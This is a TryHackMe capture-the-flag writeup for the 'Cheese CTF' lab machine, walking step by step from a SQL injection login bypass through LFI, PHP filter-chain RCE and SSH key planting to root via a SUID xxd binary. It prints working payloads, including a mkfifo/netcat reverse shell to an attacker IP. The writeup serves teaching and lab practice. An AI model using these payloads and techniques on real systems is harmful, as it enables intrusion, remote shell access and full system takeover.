TRYHACKME // MACHINE WRITEUP

Cheese CTF — Writeup

DIFFICULTY	CATEGORY	AUTHOR	PLATFORM
Easy	Web Exploitation, Privilege Escalation	whiteghost	TryHackMe

§ Summary

Cheese CTF is a beginner-friendly Linux machine that chains several classic vulnerabilities together. The attack path starts with a SQL injection login bypass, pivots through a Local File Inclusion vulnerability exploited via a PHP filter chain to gain remote code execution, moves laterally through a writable `authorized_keys` file, and escalates to root through a writable systemd timer that creates a SUID `xxd` binary.

```
SQLi Login Bypass → LFI Discovery → PHP Filter Chain RCE → www-data → Writable authorized_keys → comte → Systemd Timer SUID Abuse → root
```

§ Reconnaissance

Port scanning with `nmap` is ineffective on this machine due to port spoofing — the machine reports hundreds of fake open ports. The real services are:

PORT	SERVICE
80	PHP web application (Cheese Shop)
22	SSH

§ Exploitation Walkthrough

Phase 1 — SQL Injection Login Bypass

PAYLOAD (BROWSER LOGIN FORM)

```
Username: ' || 1=1;-- -
Password: anything
```

WHAT HAPPENED & WHY IT WORKS

The login form builds a SQL query behind the scenes:

```
SELECT * FROM users WHERE username='INPUT' AND password='INPUT'
```

Injecting `' || 1=1;-- -` as the username transforms it into:

```
SELECT * FROM users WHERE username='' || 1=1;-- - AND password='...'
```

- The leading `'` closes the username string.
- `|| 1=1` evaluates to "OR true" — the condition is always satisfied.
- `-- -` comments out the rest of the query, including the password check.

RESULT

The database returns the first user record and the session is authenticated as admin.

Phase 2 — Local File Inclusion (LFI) Discovery

URL USED

```
http://<TARGET_IP>/secret-script.php?file=../../../../etc/passwd
```

WHAT HAPPENED & WHY IT WORKS

The PHP source of `secret-script.php` passes user input straight into `include()` with no sanitization:

```
<?php
  if(isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);  // no sanitization!
  }
?>
```

The `../../../../` sequence traverses up to the filesystem root, allowing `/etc/passwd` to be read directly through the include.

RESULT

Arbitrary file read on the target server.

Phase 3 — LFI to Remote Code Execution via PHP Filter Chain

COMMANDS USED

```
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f"); ?>' |
grep '^php' > payload.txt
nc -lvnp 4444
curl -s "http://<TARGET_IP>/secret-script.php?file=$(cat payload.txt)"
```

WHAT HAPPENED & WHY IT WORKS

Ordinary LFI only reads files, but PHP ships built-in stream filters such as `php://filter/convert.base64-encode` that transform data in transit. The PHP filter-chain technique chains dozens of these filters together in a precise sequence so that, once processed by the PHP interpreter, they generate arbitrary PHP code in memory — without ever writing a file to disk.

The generated payload executes a reverse shell:

- `mkfifo /tmp/f` creates a named pipe.
- `nc YOUR_IP 4444` connects back to the attacking machine.
- `sh -i` provides an interactive shell over that connection.

RESULT

Reverse shell obtained as `www-data` on the target.

Phase 4 — Pivot to User "comte" via Writable authorized_keys

COMMANDS USED

```
# On attack machine
ssh-keygen -f id_ed25519 -t ed25519

# In www-data shell
echo 'ssh-ed25519 AAAA...your key...' > /home/comte/.ssh/authorized_keys

# On attack machine
ssh -i /home/kali/id_ed25519 comte@<TARGET_IP>
```

WHAT HAPPENED & WHY IT WORKS

SSH supports key-based authentication: instead of a password, the server checks whether the connecting client holds the private key matching a public key listed in `~/.ssh/authorized_keys`. Enumeration revealed that `www-data` had write permission on `/home/comte/.ssh/authorized_keys`. Writing an attacker-controlled public key there instructs the server to trust anyone holding the matching private key to log in as `comte`.

RESULT

Direct SSH access obtained as `comte`, no password required. User flag captured.

Phase 5 — Trigger SUID Binary Creation via Systemd Timer

COMMANDS USED

```
# Fix the broken timer
nano /etc/systemd/system/exploit.timer
# Changed: OnBootSec=  →  OnBootSec=5s

sudo /bin/systemctl daemon-reload
sudo /bin/systemctl start exploit.timer
sleep 6 && ls -la /opt/xxd
```

WHAT HAPPENED & WHY IT WORKS

`exploit.service` contained:

```
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
```

This copies `xxd` to `/opt` and sets the SUID bit, meaning the binary executes with the privileges of its owner (root) regardless of who invokes it. The timer meant to trigger this service had a syntax error — `OnBootSec=` was left empty. Since `comte` had write access to the timer file, the syntax error was corrected, then `sudo systemctl` was used to reload and start the timer.

RESULT

`/opt/xxd` created with the SUID root bit set.

Phase 6 — Root via SUID xxd

COMMANDS USED

```
echo 'ssh-ed25519 AAAA...your key...' | xxd | /opt/xxd -r - /root/.ssh/authorized_keys
ssh -i /home/kali/id_ed25519 root@<TARGET_IP>
cat /root/root.txt
```

WHAT HAPPENED & WHY IT WORKS

`xxd` converts files to hex and back again. With the SUID bit set, `/opt/xxd` executes as root and can therefore write to any file on the system. The pipeline works as follows:

- `echo 'your pubkey'` outputs the attacker's SSH public key.
- `xxd` converts it into hex format.
- `/opt/xxd -r -` converts the hex back to binary and writes it to the target file.
- Because `/opt/xxd` runs as root, it can write directly to `/root/.ssh/authorized_keys`.

RESULT

Attacker's SSH key added to root's `authorized_keys`. Full root access obtained; root flag captured.

§ Vulnerability Summary

VULNERABILITY	LOCATION	IMPACT
SQL Injection	`/login.php`	Authentication bypass
Local File Inclusion	`/secret-script.php?file=`	Read arbitrary files
PHP Filter Chain RCE	`LFI endpoint`	Remote code execution
Writable authorized_keys	`/home/comte/.ssh/`	Lateral movement
World-writable systemd timer	`/etc/systemd/system/exploit.timer`	Privilege escalation
SUID xxd abuse	`/opt/xxd`	Root access

§ Tools Used

- **nc** (netcat) — reverse shell listener
- **php_filter_chain_generator** — LFI to RCE
- **ssh-keygen** — SSH key generation
- **nano** — editing the timer file
- **xxd** — writing root's SSH key (GTFOBins)